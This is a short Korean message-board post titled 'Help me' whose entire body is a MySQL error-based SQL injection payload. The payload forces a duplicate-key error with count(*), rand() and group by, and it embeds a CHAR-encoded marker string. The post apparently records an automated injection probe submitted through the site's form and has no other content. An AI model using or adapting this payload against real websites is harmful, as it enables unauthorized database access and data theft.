제목 | Help me | ||||
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등록일 | 2025-09-09 | 작성자 | 1 | 조회수 | 21 |
(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(76),CHAR(112),CHAR(50),CHAR(89),CHAR(120),CHAR(101),CHAR(111),CHAR(48)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) |